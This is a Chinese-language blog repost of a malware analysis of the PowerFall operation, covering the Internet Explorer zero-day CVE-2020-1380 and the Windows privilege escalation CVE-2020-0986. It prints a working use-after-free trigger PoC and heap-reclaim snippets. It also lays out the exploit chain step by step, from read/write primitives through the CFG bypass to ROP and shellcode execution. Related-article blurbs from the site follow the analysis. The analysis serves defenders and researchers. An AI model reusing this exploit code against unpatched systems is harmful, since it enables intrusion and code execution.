<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    PowerFall 操作中使用 Internet Explorer 和 Windows zero-day 漏洞

    安全小白成長記2020-08-13 15:02:18

    Internet Explorer 11遠程執行代碼漏洞

    在野外發現的Internet Explorer的最新零日攻擊利用了舊版JavaScript引擎jscript.dll中的漏洞CVE-2020-0674,CVE-2019-1429,CVE-2019-0676和CVE-2018-8653。相比之下,CVE-2020-1380是jscript9.dll中的一個漏洞,默認情況下已從Internet Explorer 9開始使用該漏洞,因此,Microsoft建議的緩解措施(限制jscript.dll的使用)無法保護針對此特定漏洞。

    CVE-2020-1380是一個Free-After-Free漏洞,由JIT優化和即時編譯代碼中缺少必要的檢查引起。下面演示了觸發漏洞的概念驗證(PoC):

    function func(O, A, F, O2) {
        arguments.push = Array.prototype.push;
        O = 1;
        arguments.length = 0;
        arguments.push(O2);
        if (F == 1) {
            O = 2;
        }
    
        // execute abp.valueOf() and write by dangling pointer
        A[5] = O;
    };
    
    // prepare objects
    var an = new ArrayBuffer(0x8c);
    var fa = new Float32Array(an);
    
    // compile func
    func(1, fa, 1, {});
    for (var i = 0; i < 0x10000; i++) {
        func(1, fa, 1, 1);
    }
    
    var abp = {};
    abp.valueOf = function() {
    
        // free 
        worker = new Worker('worker.js');
        worker.postMessage(an, [an]);
        worker.terminate();
        worker = null;
    
        // sleep
        var start = Date.now();
        while (Date.now() - start < 200) {}
    
        // TODO: reclaim freed memory
    
        return 0
    };
    
    try {
        func(1, fa, 0, abp);
    } catch (e) {
        reload()
    }

    要了解此漏洞,讓我們看一下func()的執行方式。重要的是要了解將什么值設置為A [5]。根據代碼,它應該是一個O參數。在函數啟動時,將O參數重新分配為1,但隨后將函數參數長度設置為0。此操作不會清除函數參數(通常對常規數組會這樣做),但允許將參數O2放入參數使用Array.prototype.push在索引零處列出,現在意味著O = O2。除此之外,如果參數F等于1,則O將再次被重新分配,但分配給整數2。這意味著根據F參數的值,O參數等于O2參數的值或整數2。參數A為類型化的32位浮點數數組,在將值分配給數組的索引5之前,應將該值轉換為浮點數。將整數轉換為浮點數是一項相對簡單的任務,但是當將對象轉換為浮點數時,它將變得不那么直接。該漏洞利用的對象abp具有覆蓋的valueOf()方法。當對象轉換為float時執行此方法,但是在該方法內部有釋放ArrayBuffer的代碼,該代碼由Float32Array查看,并在其中設置返回值。為了防止將值存儲在釋放的對象的內存中,JavaScript引擎需要先檢查對象的狀態,然后再將值存儲在對象中。為了安全地轉換和存儲float值,JScript9.dll使用函數Js :: TypedArray <float,0> :: BaseTypedDirectSetItem()。您可以在下面看到此函數的反編譯代碼:

    int Js::TypedArray<float,0>::BaseTypedDirectSetItem(Js::TypedArray<float,0> *this, unsigned int index, void *object, int reserved)
    {
        Js::JavascriptConversion::ToNumber(object, this->type->library->context);
        if ( LOBYTE(this->view[0]->unusable) )
            Js::JavascriptError::ThrowTypeError(this->type->library->context, 0x800A15E4, 0);
        if ( index < this->count )
        {
            *(float *)&this->buffer[4 * index] = Js::JavascriptConversion::ToNumber(
                object,
                this->type->library->context);
        }
        return 1;
    }
    
    double Js::JavascriptConversion::ToNumber(void *object, struct Js::ScriptContext *context)
    {
        if ( (unsigned char)object & 1 )
            return (double)((int)object >> 1);
        if ( *(void **)object == VirtualTableInfo<Js::JavascriptNumber>::Address[0] )
            return *((double *)object + 1);
        return Js::JavascriptConversion::ToNumber_Full(object, context);
    }

    此函數檢查類型為float的數組的view [0]-> unusablecount字段,并且在執行valueOf()方法期間釋放ArrayBuffer時,這兩項檢查都將失敗,因為將設置view [0]-> unusable設置為1,并且在第一次調用Js :: JavascriptConversion :: ToNumber()期間將count設置為0 。問題在于,僅在解釋模式下使用函數Js :: TypedArray <float,0> :: BaseTypedDirectSetItem()

    及時編譯func()函數時,JavaScript引擎將使用下面的易受攻擊的代碼。

    
    if ( !((unsigned char)floatArray & 1) && *(void *)floatArray == &Js::TypedArray<float,0>::vftable )
    {
      if ( floatArray->count > index )
      {
        buffer = floatArray->buffer + 4*index;
        if ( object & 1 )
        {
          *(float *)buffer = (double)(object >> 1);
        }
        else
        {
          if ( *(void *)object != &Js::JavascriptNumber::vftable )
          {
            Js::JavascriptConversion::ToFloat_Helper(object, (float *)buffer, context);
          }
          else
          {
            *(float *)buffer = *(double *)(object->value);
          }
        }
      }
    }

    這是Js :: JavascriptConversion :: ToFloat_Helper()函數的代碼。

    void Js::JavascriptConversion::ToFloat_Helper(void *object, float *buffer, struct Js::ScriptContext *context)
    {
      *buffer = Js::JavascriptConversion::ToNumber_Full(object, context);
    }

    如您所見,與解釋模式不同,在即時編譯的代碼中,不檢查ArrayBuffer的生命周期,并且可以釋放其內存,然后在調用valueOf()函數時將其回收。此外,攻擊者可以控制將返回值寫入哪個索引。但是,在“ arguments.length = 0;”和“ arguments.push(O2);”的情況下 在PoC中被替換為“ arguments [0] = O2;” 那么Js :: JavascriptConversion :: ToFloat_Helper()不會觸發該錯誤,因為隱式調用將被禁用,并且不會執行對valueOf()函數的調用。

    為了確保及時地編譯函數func(),漏洞利用程序會執行0x10000次此函數,對整數執行無害轉換,并且只有在再次執行func()之后,才會觸發bug。為了釋放ArrayBuffer,漏洞利用一種濫用Web Workers API的通用技術。函數postMessage()可用于將對象序列化為消息并將其發送給工作程序。副作用是,已傳輸的對象被釋放,并且在當前腳本上下文中變得不可用。釋放ArrayBuffer后,漏洞利用程序通過模擬Sleep()函數使用的代碼觸發垃圾回收:這是一個while循環,用于檢查Date.now()之間的時間間隔和以前存儲的值。在那之后,利用漏洞利用整數數組回收內存。

    for (var i = 0; i < T.length; i += 1) {
            T[i] = new Array((0x1000 - 0x20) / 4);
            T[i][0] = 0x666; // item needs to be set to allocate LargeHeapBucket
        }

    當創建大量數組時,Internet Explorer會分配新的LargeHeapBlock對象,這些對象將由IE的自定義堆實現使用。LargeHeapBlock對象將存儲為數組分配的緩沖區的地址。如果成功實現了預期的內存布局,則該漏洞將使用0覆蓋LargeHeapBlock的偏移量0x14處的值,該值恰好是分配的塊數。

    操作PowerFall中使用的Internet Explorer和Windows零時差漏洞

    jscript9.dll x86的LargeHeapBlock結構

    之后,漏洞利用會分配大量數組,并將它們設置為在漏洞利用的初始階段準備好的另一個數組。然后將此數組設置為null,漏洞利用程序調用CollectGarbage()函數。這將導致堆碎片整理,并且修改后的LargeHeapBlock及其相關的數組緩沖區將被釋放。在此階段,漏洞利用會創建大量的整數數組,以期收回以前釋放的數組緩沖區。新創建的數組的魔術值設置為索引零,并通過指向先前釋放的數組的懸空指針檢查該值,以檢測利用是否成功。

            for (var i = 0; i < K.length; i += 1) {
                K[i] = new Array((0x1000 - 0x20) / 4);
                K[i][0] = 0x888; // store magic
            }
    
            for (var i = 0; i < T.length; i += 1) {
                if (T[i][0] == 0x888) { // find array accessible through dangling pointer
                    R = T[i];
                    break;
                }
            }

    結果,漏洞利用創建了兩個不同的JavascriptNativeIntArray對象,它們的緩沖區指向相同的位置。這樣就可以檢索對象的地址,甚至可以創建新的格式錯誤的對象。該漏洞利用這些原語來創建格式錯誤的DataView對象,并獲得對該進程整個地址空間的讀/寫訪問權限。

    構建了任意的讀/寫原語之后,就該繞過Control Flow Guard(CFG)并執行代碼了。該漏洞利用數組的vftable指針獲取jscript9.dll的模塊基地址。從那里,它解析jscript9.dll的PE頭以獲得導入目錄表的地址,并解析其他模塊的基地址。此處的目標是找到函數VirtualProtect()的地址,該地址將用于使Shellcode可執行。之后,漏洞利用程序在jscript9.dll中搜索兩個簽名。這些簽名對應于Unicode字符串“ split”的地址和函數的地址:JsUtil :: DoublyLinkedListElement :: LinkToBeginning ()。Unicode字符串“ split”的地址用于獲取對該字符串的代碼引用,并借助其幫助來解析Js :: JavascriptString :: EntrySplit()函數的地址,該函數實現了字符串方法split()。函數LinkToBeginning ()的地址用于獲取全局鏈接列表中第一個ThreadContext對象的地址。該漏洞利用程序在鏈接列表中找到最后一個條目,并使用它為負責執行腳本的線程獲取堆棧的位置。之后是最后階段。該漏洞利用程序執行split()方法,并提供一個覆蓋了valueOf()方法的對象作為限制論據。在執行函數Js :: JavascriptString :: EntrySplit()的過程中執行重寫的valueOf()方法時,漏洞利用程序將搜索線程的堆棧以查找返回地址,將shellcode放置在準備好的緩沖區中,獲取其地址,最后,通過覆蓋函數的返回地址,構建面向返回的編程(ROP)鏈以執行Shellcode。

    下個階段

    Shellcode是附加到Shellcode上的可移植可執行(PE)模塊的反射DLL加載器。該模塊非常小,整個功能位于單個功能內。它在一個名為ok.exe的臨時文件夾中創建一個文件,并將遠程代碼執行漏洞中存在的另一個可執行文件的內容寫入該文件。之后,執行ok.exe。

    ok.exe可執行文件包含針對GDI打印/打印后臺處理程序API中的任意指針取消引用漏洞CVE-2020-0986的特權提升漏洞。最初,此漏洞是由與趨勢科技的零日計劃合作的匿名用戶于2019年12月報告給Microsoft的。

    該漏洞使得可以使用進程間通信來讀取和寫入splwow64.exe進程的任意內存,并使用它來實現splwow64.exe進程中的代碼執行,從而繞過CFG和EncodePointer保護。該漏洞利用程序的資源中嵌入了兩個可執行文件。第一個可執行文件以CreateDC.exe的形式寫入磁盤,并用于創建設備上下文(DC),這是開發所必需的。第二個可執行文件的名稱為PoPc??.dll,如果利用成功,則由具有中等完整性級別的splwow64.exe執行。

    操作PowerFall中使用的Internet Explorer和Windows零時差漏洞
    從splwow64.exe執行惡意PowerShell命令

    PoPc.dll的主要功能也位于單個功能內。它執行一個已編碼的PowerShell命令,

    js代碼對象數組
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    如今Node.js憑借其跨平臺、高性能的JavaScript執行環境,被廣泛應用于服務器端和桌面程序(如Skype)的開發。在過去幾年中,有報道稱其他動態編程語言(例如 PHP 和 Ruby)在共享對象方面是不安全的。然而,這種安全風險在 JavaScript 和 Node.js 程序中并沒有得到很好的研究和理解。
    高達40%的npm包依賴的代碼至少包含一個公開漏洞,因此如何解決 Node.js 應用的安全性檢測是一個十分重要的問題。
    由此可以推測,之前找到的main.node,可能就是解密模塊。此時找到了AES的算法常量,前兩個是重復的,可能是插件問題。只能去問度娘了,搜索一下AES加密解密原理與 C 實現代碼
    跟隨P4nda大佬的博客復現了CVE-2018-17463,在一些大佬懶得講的地方加了一些理解和解釋,比較新手向。
    文章主要內容記錄對某次應急事件中獲取到的特殊釣魚樣本的分析,該樣本通過sapien powershell studio將powershell代碼封裝成可執行文件來繞過一些查殺和限制;0x01 背景某次應急事件中拿到一個攻擊者使用的釣魚樣本,這個樣本比較有意思和之前的分析有些不同,第一次分析也算曲折,此文記錄下對該樣本的分析過程。光從行為側去下結論是不太行的。
    文章主要內容記錄對某次應急事件中獲取到的特殊釣魚樣本的分析,該樣本通過sapien powershell studio將powershell代碼封裝成可執行文件來繞過一些查殺和限制;0x01 背景某次應急事件中拿到一個攻擊者使用的釣魚樣本,這個樣本比較有意思和之前的分析有些不同,第一次分析也算曲折,此文記錄下對該樣本的分析過程。光從行為側去下結論是不太行的。
    趨勢科技的研究人員跟蹤了CopperStealer幕后組織的最新部署,這次是通過基于Chromium的惡意瀏覽器擴展程序竊取加密貨幣和用戶的錢包帳戶信息。這些API密鑰允許擴展程序執行交易并將加密貨幣從受害者的錢包發送到攻擊者的錢包。第一個是對http:///traffic/chrome的GET請求,可能是出于統計目的。顯示要求輸入身份驗證代碼的模式窗口模式窗口有輸入框并偵聽oninput事件。
    前者負責根據HTML網頁內容排版渲染出我們看到的網頁,后者負責執行網頁中的JS代碼,實現網頁的動態交互。市場份額最廣的瀏覽器最容易被攻擊,2015年之前,是IE的天下,那時候IE是最容易被攻擊的瀏覽器。2015年之后,Chrome異軍突起,成為了如今黑客主要攻擊的對象。而且這個漏洞可以繞過沙箱保護,危害極大。
    crawlergo是一個使用chrome headless模式進行URL收集的瀏覽器爬蟲。它對整個網頁的關鍵位置與DOM渲染階段進行HOOK,自動進行表單填充并提交,配合智能的JS事件觸發,盡可能的收集網站暴露出的入口。內置URL去重模塊,過濾掉了大量偽靜態URL,對于大型網站仍保持較快的解析與抓取速度,最后得到高質量的請求結果集合。調研1.
    近年來,瀏覽器安全事件頻發,給人們帶來嚴重的損失。目前這兩類技術的研究重點主要在于對瀏覽器的JavaScript引擎的模糊測試,基礎思想都是首先將JS代碼轉換為語法樹AST,再在語法樹上進行相關變異操作。同時對其他部分進行變異,以便可以發現類似的或新的錯誤。⑤DIE記錄運行時覆蓋反饋信息決定新文件將被保存。此外,DIE同樣記錄自定義函數的參數和返回值的類型,以便在新構建的AST節點中進行合法調用。
    安全小白成長記
    暫無描述
      亚洲 欧美 自拍 唯美 另类